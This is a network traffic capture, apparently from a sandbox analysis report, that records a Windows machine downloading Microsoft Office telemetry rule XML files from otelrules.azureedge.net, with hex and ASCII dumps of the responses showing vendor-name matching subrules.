2024-11-24 09:23:55 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:56 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:55 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092355Z-178bfbc474bvjk8shC1NYC83ns00000005qg0000000012m7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:56 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:57 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:57 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 1a8bda6d-001e-002b-2468-3b99f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092357Z-178bfbc474bmqmgjhC1NYCy16c00000005v0000000005d4n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:57 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:57 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:57 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092357Z-174c587ffdfp4vpjhC1TEBybqw0000000480000000007v2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:57 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:57 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:57 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 00606c4f-d01e-0014-08c3-3bed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092357Z-15b8b599d885ffrhhC1TEBtuv0000000047000000000etk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:57 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:57 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:57 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092357Z-174c587ffdfks6tlhC1TEBeza4000000049000000000bkk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:57 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:57 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:23:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:58 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9a5c0c24-501e-0064-106e-3c1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092358Z-174c587ffdfb5q56hC1TEB04kg0000000470000000004nf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:23:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:59 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:59 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092359Z-15b8b599d88phfhnhC1TEBr51n00000004f0000000000yw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:00 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:59 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:23:59 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092359Z-178bfbc474bv7whqhC1NYC1fg400000005ng00000000d2v7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.5	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:59 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:00 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dd6dc7e9-901e-008f-3238-3c67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092400Z-15b8b599d88s6mj9hC1TEBur30000000041000000000a2pb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:00 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.5	49783	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:23:59 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:00 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092400Z-178bfbc474bh5zbqhC1NYCkdug00000005n000000000a12g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:00 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.5	49784	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:00 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 524516d5-201e-0003-0afd-3df85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092400Z-178bfbc474bwh9gmhC1NYCy3rs00000005s000000000ck7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:00 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.5	49785	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:01 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 09:24:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 09:24:02 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T092402Z-174c587ffdfb485jhC1TEBmc1s000000042g0000000080f0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 09:24:02 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.5	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 09:24:01 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
